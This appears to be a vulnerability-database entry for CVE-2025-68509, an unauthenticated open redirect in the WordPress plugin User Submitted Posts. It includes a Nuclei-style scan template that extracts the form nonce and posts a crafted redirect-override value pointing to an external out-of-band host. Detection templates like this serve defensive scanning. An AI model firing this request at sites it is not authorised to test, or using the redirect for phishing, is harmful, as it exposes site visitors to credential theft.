User Submitted Posts <= 20251121 - Unauthenticated Open Redirect
CVE-2025-68509
Verified
Description
The User Submitted Posts plugin for WordPress is vulnerable to Open Redirect in all versions up to and including 20251121. This is due to insufficient validation on the redirect-override POST parameter. Unauthenticated attackers can redirect users to potentially malicious sites by tricking them into submitting a form.
Severity
Medium
Published Date
February 4, 2026
Template Author
shivam kamboj
CVE-2025-68509.yaml
id: CVE-2025-68509
info:
name: User Submitted Posts <= 20251121 - Unauthenticated Open Redirect
author: Shivam Kamboj
severity: medium
description: |
The User Submitted Posts plugin for WordPress is vulnerable to Open Redirect in all versions up to and including 20251121. This is due to insufficient validation on the redirect-override POST parameter. Unauthenticated attackers can redirect users to potentially malicious sites by tricking them into submitting a form.
impact: |
Attackers can redirect users to malicious sites, facilitating phishing attacks and credential theft.
remediation:
Update to the latest version.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-submitted-posts/user-submitted-posts-20251121-unauthenticated-open-redirect
- https://plugins.trac.wordpress.org/changeset?old_path=/user-submitted-posts/tags/20251121&new_path=/user-submitted-posts/tags/20251210
metadata:
verified: true
max-request: 2
fofa-query: body="usp-nonce"
tags: cve,cve2025,wordpress,wp-plugin,user-submitted-posts,open-redirect,wp
variables:
content: "{{to_lower(rand_text_alphanumeric(6))}}"
username: "{{rand_text_alphanumeric(12)}}"
email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
words:
- 'name="usp-nonce"'
internal: true
extractors:
- type: regex
name: nonce
part: body
internal: true
regex:
- 'name="usp-nonce"\s+value="([^"]+)"'
group: 1
- method: POST
path:
- "{{BaseURL}}"
headers:
Content-Type: application/x-www-form-urlencoded
body: "usp-nonce={{nonce}}&user-submitted-title={{rand_int(10000,99999)}}&user-submitted-content={{content}}&user-submitted-name={{username}}&user-submitted-email={{email}}&user-submitted-url=https://test.com&user-submitted-tags=test&user-submitted-category[]=1&user-submitted-captcha=2&redirect-override=https://oast.live/"
redirects: false
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)oast\.live\/?(\/|[^.].*)?$'
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Remediation Steps
Update to the latest version.